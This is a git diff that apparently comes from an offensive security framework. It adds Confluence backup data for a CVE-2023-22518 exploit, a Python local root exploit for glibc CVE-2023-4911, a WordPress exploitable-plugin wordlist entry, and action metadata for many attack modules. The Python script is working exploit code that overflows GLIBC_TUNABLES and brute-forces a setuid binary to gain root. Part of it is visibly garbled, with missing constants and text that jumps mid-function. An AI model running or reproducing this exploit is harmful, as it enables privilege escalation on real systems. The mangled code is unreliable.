+ +131073 + + + +32881 + + +JOB_FIRST_EXECUTE]]> + + +98356 +3 + + +262196 + +262198 + +262199 + +262210 + + +1 + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +98322 + +131073 + + + +32878 + + + + true + + +]]> + + +32879 + + + + true + + +]]> + + +32876 + + +JOB_FIRST_EXECUTE]]> + + +32877 + + + + true + + +]]> + + +32874 + + + + true + + +]]> + + +98349 +18 + + +262225 + +262233 + +262237 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98317 + +131073 + + + +32875 + + + + true + + +]]> + + +98350 +19 + + +262202 + +262208 + +262234 + +262241 + + +4 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98318 + +131073 + + + +32872 + + + + true + + +]]> + + +98347 +17 + + +262206 + +262231 + +262232 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98317 + +131073 + + + +32873 + + + + true + + +]]> + + +98348 +20 + + +262215 + +262216 + +262217 + +262221 + + +3 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98321 + +131073 + + + +32870 + + + + true + + +]]> + + +98353 +21 + + +262218 + +262219 + +262220 + +262261 + + +4 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98321 + +131073 + + + +32871 + + + + true + + +]]> + + +98354 +3 + + +262266 + +262267 + +262268 + +262269 + + +1 + + +2020-10-26 15:44:29.341 + + +2023-11-09 06:03:45.265 + + +98332 + +131073 + + + +32868 + + + + true + + +]]> + + +98351 +9 + + +262245 + +262257 + +262263 + +262264 + + +2 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98332 + +131073 + + + +32869 + + + + true + + +]]> + + +98352 +8 + + +262251 + +262252 + +262253 + +262272 + + +1 +2020-10-26 15:44:29.341 +2023-11-09 06:03:45.265 + + +98318 + +131073 + + + +32834 + + +Synchrony-0fccd6a4-3e18-398a-8fe4-ff41cdd6c7ad]]> + + +32835 + + +ZmUL2wyLlx8ROyTY/satsTeR2J61ADRUqTnTe8Ai1og=]]> + + +32832 + + +true]]> + + +32833 + + + + com.atlassian.migration.agent + com.atlassian.troubleshooting.plugin-confluence +]]> + + +32830 + + +http://nessus-docker.local:8090/synchrony-proxy,http://nessus-docker.local:8090/synchrony-proxy]]> + + +32831 + + +BxPVX1EMs+EycDmXIAthliGTBb3EAwLgeyaTxHBW4CE=]]> + + +32828 + + +]]> + + +720897 + + + +WARNING + + +1699509909923 + + + + +32829 + + +]]> + + +32826 + + +]]> + + +32827 + + +]]> + + +32824 + + +]]> + + +32825 + + +]]> + + +32822 + + +]]> + + +32823 + + +true]]> + + +32820 + + +385f48cdf4038b1577ad4191bff5fc8ae24efbb9aaf8fea882b4d535f0297a33]]> + + +32821 + + +]]> + + +32850 + + + + true + + +]]> + + +32851 + + + + true + + +]]> + + +32848 + + + + true + + +]]> + + +32849 + + + + false + + +]]> + + +32846 + + + + true + + +]]> + + +32847 + + + + true + + +]]> + + +32844 + + + + true + + +]]> + + +32845 + + + + true + + +]]> + + +32842 + + + + true + + +]]> + + +32843 + + + + true + + +]]> + + +32840 + + + + true + + +]]> + + +32841 + + + + true + + +]]> + + +32838 + + + + true + + +]]> + + +32839 + + + + true + + +]]> + + +32836 + + +site-wide.shared-drafts]]> + + +32837 + + +false]]> + + +32886 + + +true]]> + + +32887 + + + + 2023-11-09 06:04:53.20 UTC +]]> + + +32884 + + + + true + + +]]> + + +32885 + + +1699509886924]]> + + + + + + + + +229377 +98322 + + + +PAGE + +2020-10-21 01:32:57.499 +2023-11-09 06:03:45.265 + + + + + + +229378 +98332 + + + +PAGE + +2020-10-21 01:38:37.286 +2023-11-09 06:03:45.265 + + + + + + +458796 +131073 + + + +2023-11-09 06:04:19.405 +2023-11-09 06:04:19.405 + + +458797 +131073 + + +2023-11-09 06:04:19.407 +2023-11-09 06:04:19.407 + + +458798 +131073 + + + +2023-11-09 06:04:19.408 +2023-11-09 06:04:19.408 + + +458799 +131073 + + + +2023-11-09 06:04:19.411 +2023-11-09 06:04:19.411 + + +458792 +131073 + + + +2023-11-09 06:04:19.397 +2023-11-09 06:04:19.397 + + +458793 +131073 + + + +2023-11-09 06:04:19.399 +2023-11-09 06:04:19.399 + + +458794 +131073 + + +2023-11-09 06:04:19.401 +2023-11-09 06:04:19.401 + + +458795 +131073 + + + +2023-11-09 06:04:19.403 +2023-11-09 06:04:19.403 + + +458788 +131073 + + +2023-11-09 06:04:19.387 +2023-11-09 06:04:19.387 + + +458789 +131073 + + + +2023-11-09 06:04:19.389 +2023-11-09 06:04:19.389 + + +458790 +131073 + + + +2023-11-09 06:04:19.391 +2023-11-09 06:04:19.391 + + +458791 +131073 + + +2023-11-09 06:04:19.394 +2023-11-09 06:04:19.394 + + +458784 +131073 + + + +2023-11-09 06:04:19.376 +2023-11-09 06:04:19.376 + + +458785 +131073 + + +2023-11-09 06:04:19.379 +2023-11-09 06:04:19.379 + + +458786 +131073 + + + +2023-11-09 06:04:19.381 +2023-11-09 06:04:19.381 + + +458787 +131073 + + + +2023-11-09 06:04:19.384 +2023-11-09 06:04:19.384 + + +458780 +131073 + + + +2023-11-09 06:04:19.367 +2023-11-09 06:04:19.367 + + +458781 +131073 + + + +2023-11-09 06:04:19.369 +2023-11-09 06:04:19.369 + + +458782 +131073 + + +2023-11-09 06:04:19.371 +2023-11-09 06:04:19.371 + + +458783 +131073 + + + +2023-11-09 06:04:19.374 +2023-11-09 06:04:19.374 + + +458776 +131073 + + +2023-11-09 06:04:19.356 +2023-11-09 06:04:19.356 + + +458777 +131073 + + + +2023-11-09 06:04:19.361 +2023-11-09 06:04:19.361 + + +458778 +131073 + + + +2023-11-09 06:04:19.363 +2023-11-09 06:04:19.363 + + +458779 +131073 + + +2023-11-09 06:04:19.365 +2023-11-09 06:04:19.365 + + +458772 +131073 + + +2023-11-09 06:04:19.346 +2023-11-09 06:04:19.346 + + +458773 +131073 + + + +2023-11-09 06:04:19.349 +2023-11-09 06:04:19.349 + + +458774 +131073 + + + +2023-11-09 06:04:19.351 +2023-11-09 06:04:19.351 + + +458775 +131073 + + + +2023-11-09 06:04:19.353 +2023-11-09 06:04:19.353 + + +458768 +131073 + + + +2023-11-09 06:04:19.336 +2023-11-09 06:04:19.336 + + +458769 +131073 + + +2023-11-09 06:04:19.339 +2023-11-09 06:04:19.339 + + +458770 +131073 + + + +2023-11-09 06:04:19.341 +2023-11-09 06:04:19.341 + + +458771 +131073 + + + +2023-11-09 06:04:19.344 +2023-11-09 06:04:19.344 + + +458764 +131073 + + + +2023-11-09 06:04:19.323 +2023-11-09 06:04:19.323 + + +458765 +131073 + + + +2023-11-09 06:04:19.326 +2023-11-09 06:04:19.326 + + +458766 +131073 + + +2023-11-09 06:04:19.329 +2023-11-09 06:04:19.329 + + +458767 +131073 + + + +2023-11-09 06:04:19.332 +2023-11-09 06:04:19.332 + + +458760 + + +2023-11-09 06:04:18.418 +2023-11-09 06:04:18.418 + + +458761 +131073 + + + +2023-11-09 06:04:19.263 +2023-11-09 06:04:19.263 + + +458762 +131073 + + + +2023-11-09 06:04:19.305 +2023-11-09 06:04:19.305 + + +458763 +131073 + + +2023-11-09 06:04:19.315 +2023-11-09 06:04:19.315 + + +65537 + + + + +458756 + + +2023-11-09 06:04:18.397 +2023-11-09 06:04:18.397 + + +458757 + + +2023-11-09 06:04:18.406 +2023-11-09 06:04:18.406 + + +458758 + + +2023-11-09 06:04:18.410 +2023-11-09 06:04:18.410 + + +65538 + + + + +458759 + + +2023-11-09 06:04:18.415 +2023-11-09 06:04:18.415 + + +458753 + + +2023-11-09 06:04:18.336 +2023-11-09 06:04:18.336 + + +458754 + + +2023-11-09 06:04:18.391 +2023-11-09 06:04:18.391 + + +458755 + + +2023-11-09 06:04:18.394 +2023-11-09 06:04:18.394 + + +360449 + + +2023-11-09 06:04:18.127 +2023-11-09 06:04:18.127 +true + + + +INTERNAL +UPDATE_GROUP_ATTRIBUTE +CREATE_ROLE +DELETE_USER +UPDATE_ROLE_ATTRIBUTE +UPDATE_USER +UPDATE_USER_ATTRIBUTE +UPDATE_GROUP +CREATE_USER +DELETE_ROLE +CREATE_GROUP +DELETE_GROUP +UPDATE_ROLE + + + + + +327681 + + +2023-11-09 06:04:18.083 +2023-11-09 06:04:18.165 +true +GENERIC_APPLICATION + + + + + + + + + + + +393217 + + + + +163844 +

Confluence automatically transforms linked content into rich content. Try it with Confluence pages, JIRA issues, YouTube and Vimeo videos, 
Flickr photo streams, Tweets, Google maps and many more.

Here's two examples of autoconvert in action.

  

Try it yourself:

  1. Edit this page.
  2. Copy this link https://youtu.be/RXhL9cfwx2c and paste it onto the page.
  3. Autoconvert will embed the YouTube video on the page.
  4. Save the page.

Try it yourself:

  1. Edit this page.
  2. Copy this link  https://maps.google.com/maps?q=Atlassian,+George+Street,+New+South+Wales,+Australia&hl=en&ll=-33.866572,151.207001&spn=0.004321,0.008256&sll=-33.870509,151.203707&sspn=0.008641,0.016512&oq=atlassian,&hq=Atlassian,+George+Street,+New+South+Wales,+Australia&radius=15000&t=m&z=18&iwloc=A and paste it onto the page. 
  3. Autoconvert will render the Google Maps view on the page.
  4. Save the page.


  


]]>
+98314 + +2 +
+ +163845 +

Once you've created content you'll want to share it with your team members. 
Confluence can do all the work for you, just click the Share button.


  1. Let's tell someone about this page.
    Click the Share button at the top right of the page. It looks like this:


     
  2. Type the name of the person or group you want to share the page with.
    You can also enter an email address.

  3. Add a message to give the person some background about the page.

  4. Click the Share button.
    Confluence will send the person an email message about this page. Shared!

 

(warning) If your administrator has not added a mail server, the Share button will only show the share link.

  


]]>
+98306 + +2 +
+ +163846 +


Insert tables with drag and drop simplicity.
Add, remove, cut, and paste rows and columns – this makes working with tables easy.
 

  1. Edit the page.
     
  2. Click in the right-hand column to position your cursor.
     
  3. Click the Table menu on the toolbar and drag to choose the size of your table.


     
  4. The table toolbar appears when there is table on your page.

  5. Place your cursor in the first cell of the table and add a row below it.



  6. Place your cursor in any cell of the last column of the table and delete the column.


     
  7. Grab one of the column borders and drag to resize the column.

  8. Click Update to publish your changes to the page.



  

]]>
+98332 + +2 +
+ +163847 +
You can start a discussion by simply leaving a comment on a page, like this one.

Why not give it a try?

Go to the bottom of this page and start typing in the comment area. When you're finished just press save! 

Don't just confine your comments to the bottom of the page - highlight some text on the page to add an inline comment like this:



Hint: You can mention another user in a page or  comment by typing @ and then the user's name.
The user will be notified that you mentioned them.



  


]]>
+98305 + +2 +
+ +163848 +Page layouts provide structure in your page — two-column, three-column, and more — making it easy for anyone to create beautiful pages.

 

  1. Edit the page.
      
  2. Click the Page Layout button in the editor toolbar. It looks like this:



     
    A section is added to your page, dotted lines indicate the section boundaries. 
     
  3. Choose a column layout to apply to your section, for example two columns.


     
  4. Click the Add section button to add another section to the page.


     
  5. Choose a different column layout for this section. 

  6. Click Update to publish your changes to the page.

You can add as many sections as you need, and each section can have a different column layout. 


  

]]>
+98321 + +2 +
+ +163849 +

Let's start with the editor. You'll use the Confluence editor to create and edit pages.
You can type in the editor as you would in any document, apply formatting, and embed other content and files into the page.

The editor looks like this (click images for a larger view):



Here is a description of the components:

  1. Editor toolbar

    The editor toolbar provides tools to format and color page content, create lists and tables, indent and align text, and insert other content into the page such as symbols, links, images, multimedia files, and macros.



  2. Page content

    This is where you and your team will type the content for your page. You can also drag attachments from your desktop here.
    If other people are editing the page at the same time, you'll see their changes in real time! 


  3. Publish or close

    We're saving all the time in the editor.  Once you're ready, hit publish to publish your page so others can see the changes, or close to finish editing later.




  


]]>
+98322 + +2 +
+ +163850 +

 

The Confluence editor helps you create content, fast. You can embed images, Office documents, and even videos.
That's just the tip of the iceberg when it comes to creating useful content for your team. 
 

  1. Edit the page.

  2. Click in the right-hand column to position your cursor.

  3. Click Files on the editor toolbar. It looks like this:


     
  4. The Files dialog shows you the files attached to this page.
    Select the image named Confluence Origami Necktie.
     
  5. Click Insert.

  6. You will return to this page, and see the 'Image Properties Panel'. If you don't see it, click the image.
     
  7. Resize the image by clicking on the square buttons or entering a width.


     

  8. Click Properties and then select the Curl Shadow option from the Image Effects dialog. 
      
  9. Your image should look like this when completed:

     
  10. Click Update to publish your changes to the page.

  11. View the image on the page, or click to preview the file.

The Files button is not just for images, you can insert and preview a wide range of files, including Microsoft Office documents and PDFs.

 


  


]]>
+98318 + +2 +
+ +163851 + +98357 + +0 + + +163841 + 

Pages live in spaces. This page is in the 'Demonstration Space'. 
 

Let's play with some content. Don't worry, you won't break anything:

  1. Click Edit at the top of this page. Now you're in the editor.

  2. Type some words anywhere on the page.

  3. Have some fun: 
    • Change the color of the text: Select the text, then choose a color from the color option in the editor tool bar.

    • Add a link: Select some text, then choose the Link button on the toolbar.
      Click Web Link and enter an Address, such as http://www.atlassian.com.
      Click Insert to insert the link.

    • Find a file or picture on your computer, and drag it anywhere on this page.

    • Try some of the other options on the editor toolbar.

When you're ready, click Update to publish your changes then and go to the next step or back to the space home.



  

 

]]>
+98317 + +2 +
+ +163842 + 


  With Confluence it is easy to create, edit and share content with your team.
  Choose a topic below to start learning how.


  1. What is Confluence?


  2.  


  3. Prettify the page with an image

  4. Get serious with a table
     
  5.  

  6.  

  7.  






      

]]>
+98319 + +2 +
+ +163843 + 

Confluence is where you can create, organize and discuss work with your team.
Use Confluence for meeting notes, project plans, requirements, sprint planning, how-to guides, or anything you like.

Click the Create button on the header to see some of the types of pages you can create.

A Confluence page can contain text, images, diagrams, activity streams, videos, and more.
Confluence puts your content online in a central place where your team can search, edit and discuss it at any time.  

So let's try it!  





 

  








]]>
+98320 + +2 +
+ +131073 + + + +98357 + +98319 + +458761 + +458762 + +458763 + +458764 + +458765 + +458766 + +458767 + +458768 + +458769 + +458770 + +458771 + +458772 + +458773 + +458774 + +458775 + +458776 + +458777 + +458778 + +458779 + +458780 + +458781 + +458782 + +458783 + +458784 + +458785 + +458786 + +458787 + +458788 + +458789 + +458790 + +458791 + +458792 + +458793 + +458794 + +458795 + +458796 + +458797 + +458798 + +458799 + + +2020-04-14 11:55:11.912 +2023-11-09 06:03:45.265 +global +CURRENT + +
diff --git a/data/exploits/CVE-2023-22518/exportDescriptor.properties b/data/exploits/CVE-2023-22518/exportDescriptor.properties new file mode 100644 index 0000000000..d1e0b6f059 --- /dev/null +++ b/data/exploits/CVE-2023-22518/exportDescriptor.properties @@ -0,0 +1,14 @@ +#Thu Nov 09 06:05:19 UTC 2023 +ao.data.version.min.com.atlassian.mywork.mywork-confluence-host-plugin=1.1.30 +ao.data.version.com.atlassian.mywork.mywork-confluence-host-plugin=8.3.8 +createdByVersionNumber=7.19.12 +supportEntitlementNumber=SEN-L1699509489567 +source=server +buildNumber=8506 +ao.data.list=com.atlassian.mywork.mywork-confluence-host-plugin, com.atlassian.confluence.plugins.confluence-space-ia +ao.data.version.min.com.atlassian.confluence.plugins.confluence-space-ia=5.0 +defaultUsersGroup=confluence-users +ao.data.version.com.atlassian.confluence.plugins.confluence-space-ia=17.19.9 +exportType=all +createdByBuildNumber=8804 +backupAttachments=true diff --git a/data/exploits/CVE-2023-4911/cve_2023_4911.py b/data/exploits/CVE-2023-4911/cve_2023_4911.py new file mode 100644 index 0000000000..e5c63df7b6 --- /dev/null +++ b/data/exploits/CVE-2023-4911/cve_2023_4911.py @@ -0,0 +1,312 @@ +import binascii +import os +import resource +import time +import struct +import sys + +from ctypes import * +from ctypes.util import find_library +from shutil import which + +TUNABLES_MISCONFIG = b"GLIBC_TUNABLES=glibc.mem.tagging=glibc.mem.tagging=" +STRING_TABLE_INDEX = "shstrndx" +NUMBER_OF_ENTRIES = "shnum" +ENTRY_SIZE = "shentsize" +ENTRY_KEYS = "name type flags addr offset size link info addralign entsize" +HEADER_ENTRY_FORMAT_64_BIT = " 0: + current_byte = blob_data[current_position] + next_byte = blob_data[current_position + 1] if current_position + 1 < len(blob_data) else None + + if current_byte != 0 and current_byte != 0x2F and next_byte == 0: + path_byte = bytes([current_byte]) + offset_from_start = current_position - start_offset + return {"path": path_byte, "offset": offset_from_start} + + current_position -= 1 + return None + + +def parse_structured_data(structure_format, structure_keys, structure_data): + unpacked_data = struct.unpack(structure_format, structure_data) + parsed_structure = dict(zip(structure_keys.split(" "), unpacked_data)) + return parsed_structure + + +def fetch_c_library_path(): + class LoadedLibrary(Structure): + _fields_ = [("l_addr", c_void_p), ("l_name", c_char_p)] + + libc_library = CDLL(find_library("c")) + dl_library = CDLL(find_library("dl")) + + dl_info_function = dl_library.dlinfo + dl_info_function.argtypes = c_void_p, c_int, c_void_p + dl_info_function.restype = c_int + + link_map_ptr = c_void_p() + dl_info_function(libc_library._handle, 2, byref(link_map_ptr)) + + return cast(link_map_ptr, POINTER(LoadedLibrary)).contents.l_name + + +def execute_process(executable_path, arguments_list, environment_variables): + libc.execve(executable_path, arguments_list, environment_variables) + + +def execute_and_monitor(executable, arguments, environment): + argument_pointers = (c_char_p * len(arguments))(*arguments) + environment_pointers = (c_char_p * len(environment))(*environment) + + child_pid = os.fork() + if not child_pid: + execute_process(executable, argument_pointers, environment_pointers) + exit(0) + + start_time = time.time() + while True: + try: + pid, status = os.waitpid(child_pid, os.WNOHANG) + if pid == child_pid: + if os.WIFEXITED(status): + return os.WEXITSTATUS(status) & 0xFF7F + else: + return 0 + except: + pass + current_time = time.time() + if current_time - start_time >= 1.5: + os.waitpid(child_pid, 0) + return "Success" + + +class DelayedElfParser: + def __init__(self, filename): + self.data = open(filename, "rb").read() + self.architecture = 64 if self.data[4] == 2 else 32 + + elf_header_size = 0x30 if self.architecture == 64 else 0x24 + + self.header = parse_structured_data( + ELF_ENTRY_FORMAT_64_BIT if self.architecture == 64 else ELF_ENTRY_FORMAT_32_BIT, + ELF_HEADER_KEYS, + self.data[0x10: 0x10 + elf_header_size], + ) + section_header_table_index = self.extract_section_header(self.header[STRING_TABLE_INDEX]) + self.section_header_names = self.data[section_header_table_index["offset"] : section_header_table_index["offset"] + section_header_table_index["size"]] + + def extract_section_header(self, index): + header_offset = self.header["shoff"] + (index * self.header[ENTRY_SIZE]) + entry_format = HEADER_ENTRY_FORMAT_64_BIT if self.architecture == 64 else HEADER_ENTRY_FORMAT_32_BIT + + return parse_structured_data(entry_format, ENTRY_KEYS, self.data[header_offset : header_offset + self.header[ENTRY_SIZE]]) + + def extract_section_header_by_name(self, section_name): + encoded_name = section_name.encode() + for section_index in range(self.header[NUMBER_OF_ENTRIES]): + section_header = self.extract_section_header(section_index) + section_name_data = self.section_header_names[section_header["name"]:].split(b"\x00")[0] + if section_name_data == encoded_name: + return section_header + return None + + def extract_section_by_name(self, section_name): + section_header = self.extract_section_header_by_name(section_name) + if section_header: + start_offset = section_header["offset"] + end_offset = start_offset + section_header["size"] + return self.data[start_offset:end_offset] + return None + + def extract_symbol_value(self, symbol_name): + encoded_name = symbol_name.encode() + dynamic_symbol = self.extract_section_by_name(DYNAMIC_SYMBOL) + dynamic_string = self.extract_section_by_name(DYNAMIC_STRING) + symbol_entry_size = 24 if self.architecture == 64 else 16 + + for entry_index in range(len(dynamic_symbol) // symbol_entry_size): + entry_start = entry_index * symbol_entry_size + + if self.architecture == 64: + symbol_entry = parse_structured_data( + SYMBOL_STRUCTURE_FORMAT_64_BIT, + SYMBOL_STRUCTURE_KEYS_64_BIT, + dynamic_symbol[entry_start: entry_start + symbol_entry_size], + ) + else: + symbol_entry = parse_structured_data( + SYMBOL_STRUCTURE_FORMAT_32_BIT, + SYMBOL_STRUCTURE_KEYS_32_BIT, + dynamic_symbol[entry_start: entry_start + symbol_entry_size], + ) + + entry_name = dynamic_string[symbol_entry["name"]:].split(b"\x00")[0] + if entry_name == encoded_name: + return symbol_entry["value"] + + return None + + +def create_environment(adjustment, address, offset, bits=64): + if bits == 64: + environment = [ + TUNABLES_MISCONFIG + b"P" * adjustment, + TUNABLES_MISCONFIG + b"X" * 8, + TUNABLES_MISCONFIG + b"X" * 7, + b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"Y" * 24, + ] + + padding = 172 + fill = 47 + else: + environment = [ + TUNABLES_MISCONFIG + b"P" * adjustment, + TUNABLES_MISCONFIG + b"X" * 7, + b"GLIBC_TUNABLES=glibc.mem.tagging=" + b"X" * 14, + ] + + padding = 87 + fill = 47 * 2 + + for j in range(padding): + environment.append(b"") + + if bits == 64: + environment.append(struct.pack("> (i * 8)) & 0xFF == 0: + stack_address |= 0x10 << (i * 8) + + environment = create_environment(BUILD_IDS[dynamic_linker_build_id], stack_address, potential_path["offset"], + su_binary_elf.architecture) + count = 1 + argv = [b"su", b"--help", None] + while True: + if execute_and_monitor(su_binary_path.encode(), argv, environment) == "Success": + exit(0) + count += 1 diff --git a/data/wordlists/wp-exploitable-plugins.txt b/data/wordlists/wp-exploitable-plugins.txt index 1a3daf101e..7c6163db06 100644 --- a/data/wordlists/wp-exploitable-plugins.txt +++ b/data/wordlists/wp-exploitable-plugins.txt @@ -59,3 +59,4 @@ bookingpress paid-memberships-pro woocommerce-payments file-manager-advanced-shortcode +royal-elementor-addons diff --git a/db/modules_metadata_base.json b/db/modules_metadata_base.json index 092862c1cc..65bfd11309 100644 --- a/db/modules_metadata_base.json +++ b/db/modules_metadata_base.json @@ -48,7 +48,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/android/google_play_store_uxss_xframe_rce": { "name": "Android Browser RCE Through Google Play Store XFO", @@ -90,7 +93,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "WebServer", + "description": "Serve exploit via web server" + } + ] }, "auxiliary_admin/appletv/appletv_display_image": { "name": "Apple TV Image Remote Control", @@ -138,7 +147,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/appletv/appletv_display_video": { "name": "Apple TV Video Remote Control", @@ -186,7 +198,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/atg/atg_client": { "name": "Veeder-Root Automatic Tank Gauge (ATG) Administrative Client", @@ -230,7 +245,77 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ALARM", + "description": "I30200 Sensor alarm history (untested)" + }, + { + "name": "ALARM_RESET", + "description": "IS00300 Remote alarm reset (untested)" + }, + { + "name": "CLEAR_RESET", + "description": "IS00200 Clear Reset Flag (untested)" + }, + { + "name": "DELIVERY", + "description": "I20200 Delivery report" + }, + { + "name": "INVENTORY", + "description": "200/I20100 In-tank inventory report" + }, + { + "name": "LEAK", + "description": "I20300 Leak report" + }, + { + "name": "RELAY", + "description": "I40600 Relay status (untested)" + }, + { + "name": "RESET", + "description": "IS00100 Reset (untested)" + }, + { + "name": "SENSOR", + "description": "I30100 Sensor status (untested)" + }, + { + "name": "SENSOR_DIAG", + "description": "IB0100 Sensor diagnostics (untested)" + }, + { + "name": "SET_TANK_NAME", + "description": "S602 set tank name (use TANK_NUMBER and TANK_NAME options)" + }, + { + "name": "SHIFT", + "description": "I20400 Shift report" + }, + { + "name": "STATUS", + "description": "I20500 In-tank status report" + }, + { + "name": "SYSTEM_STATUS", + "description": "I10100 System status report (untested)" + }, + { + "name": "TANK_ALARM", + "description": "I20600 Tank alarm history (untested)" + }, + { + "name": "TANK_DIAG", + "description": "IA0100 Tank diagnostics (untested)" + }, + { + "name": "VERSION", + "description": "Version information" + } + ] }, "auxiliary_admin/aws/aws_launch_instances": { "name": "Launches Hosts in AWS", @@ -269,7 +354,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/backupexec/dump": { "name": "Veritas Backup Exec Windows Remote File Access", @@ -311,7 +399,13 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Download", + "description": "Download arbitrary file" + } + ] }, "auxiliary_admin/backupexec/registry": { "name": "Veritas Backup Exec Server Registry Access", @@ -351,7 +445,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Create Logon Notice", + "description": "Add a logon notice" + }, + { + "name": "System Information", + "description": "Dump system info (user, owner, OS, CPU...)" + } + ] }, "auxiliary_admin/chromecast/chromecast_reset": { "name": "Chromecast Factory Reset DoS", @@ -398,7 +502,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Reboot", + "description": "Reboot only" + }, + { + "name": "Reset", + "description": "Factory reset" + } + ] }, "auxiliary_admin/chromecast/chromecast_youtube": { "name": "Chromecast YouTube Remote Control", @@ -445,7 +559,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Play", + "description": "Play video" + }, + { + "name": "Stop", + "description": "Stop video" + } + ] }, "auxiliary_admin/citrix/citrix_netscaler_config_decrypt": { "name": "Decrypt Citrix NetScaler Config Secrets", @@ -493,7 +617,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Dump", + "description": "Dump secrets from NetScaler configuration" + } + ] }, "auxiliary_admin/db2/db2rcmd": { "name": "IBM DB2 db2rcmd.exe Command Execution Vulnerability", @@ -535,7 +665,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/dcerpc/cve_2020_1472_zerologon": { "name": "Netlogon Weak Cryptographic Authentication", @@ -593,7 +726,17 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "REMOVE", + "description": "Remove the machine account password" + }, + { + "name": "RESTORE", + "description": "Restore the machine account password" + } + ] }, "auxiliary_admin/dcerpc/cve_2022_26923_certifried": { "name": "Active Directory Certificate Services (ADCS) privilege escalation (Certifried)", @@ -650,7 +793,21 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "AUTHENTICATE", + "description": "Same as REQUEST_CERT but also authenticate" + }, + { + "name": "PRIVESC", + "description": "Full privilege escalation attack" + }, + { + "name": "REQUEST_CERT", + "description": "Request a certificate with DNS host name matching the DC" + } + ] }, "auxiliary_admin/dcerpc/icpr_cert": { "name": "ICPR Certificate Management", @@ -707,7 +864,13 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "REQUEST_CERT", + "description": "Request a certificate" + } + ] }, "auxiliary_admin/dcerpc/samr_computer": { "name": "SAMR Computer Management", @@ -757,7 +920,21 @@ ] }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ADD_COMPUTER", + "description": "Add a computer account" + }, + { + "name": "DELETE_COMPUTER", + "description": "Delete a computer account" + }, + { + "name": "LOOKUP_COMPUTER", + "description": "Lookup a computer account" + } + ] }, "auxiliary_admin/dns/dyn_dns_update": { "name": "DNS Server Dynamic Update Record Injection", @@ -799,7 +976,21 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "ADD", + "description": "Add a new record. Fail if it already exists." + }, + { + "name": "DELETE", + "description": "Delete an existing record." + }, + { + "name": "UPDATE", + "description": "Add or update a record. (default)" + } + ] }, "auxiliary_admin/edirectory/edirectory_dhost_cookie": { "name": "Novell eDirectory DHOST Predictable Session Cookie", @@ -838,7 +1029,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/edirectory/edirectory_edirutil": { "name": "Novell eDirectory eMBox Unauthenticated File Access", @@ -889,7 +1083,33 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "GET_DN", + "description": "Get DN" + }, + { + "name": "LIST_SERVICES", + "description": "List services" + }, + { + "name": "READ_LOGS", + "description": "Read all the log files" + }, + { + "name": "SET_LOGFILE", + "description": "Read Log File" + }, + { + "name": "START_SERVICE", + "description": "Start a service" + }, + { + "name": "STOP_SERVICE", + "description": "Stop a service" + } + ] }, "auxiliary_admin/emc/alphastor_devicemanager_exec": { "name": "EMC AlphaStor Device Manager Arbitrary Command Execution", @@ -930,7 +1150,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/emc/alphastor_librarymanager_exec": { "name": "EMC AlphaStor Library Manager Arbitrary Command Execution", @@ -971,7 +1194,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/firetv/firetv_youtube": { "name": "Amazon Fire TV YouTube Remote Control", @@ -1019,7 +1245,17 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + { + "name": "Play", + "description": "Play video" + }, + { + "name": "Stop", + "description": "Stop video" + } + ] }, "auxiliary_admin/hp/hp_data_protector_cmd": { "name": "HP Data Protector 6.1 EXEC_CMD Command Execution", @@ -1063,7 +1299,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/hp/hp_ilo_create_admin_account": { "name": "HP iLO 4 1.00-2.50 Authentication Bypass Administrator Account Creation", @@ -1113,7 +1352,10 @@ "notes": { }, "session_types": false, - "needs_cleanup": false + "needs_cleanup": false, + "actions": [ + + ] }, "auxiliary_admin/hp/hp_imc_som_create_account": { "name": "HP Intelligent Management SOM Account Creation", @@ -1165,7 +1407,10 @@ "notes": { }, "session_types": 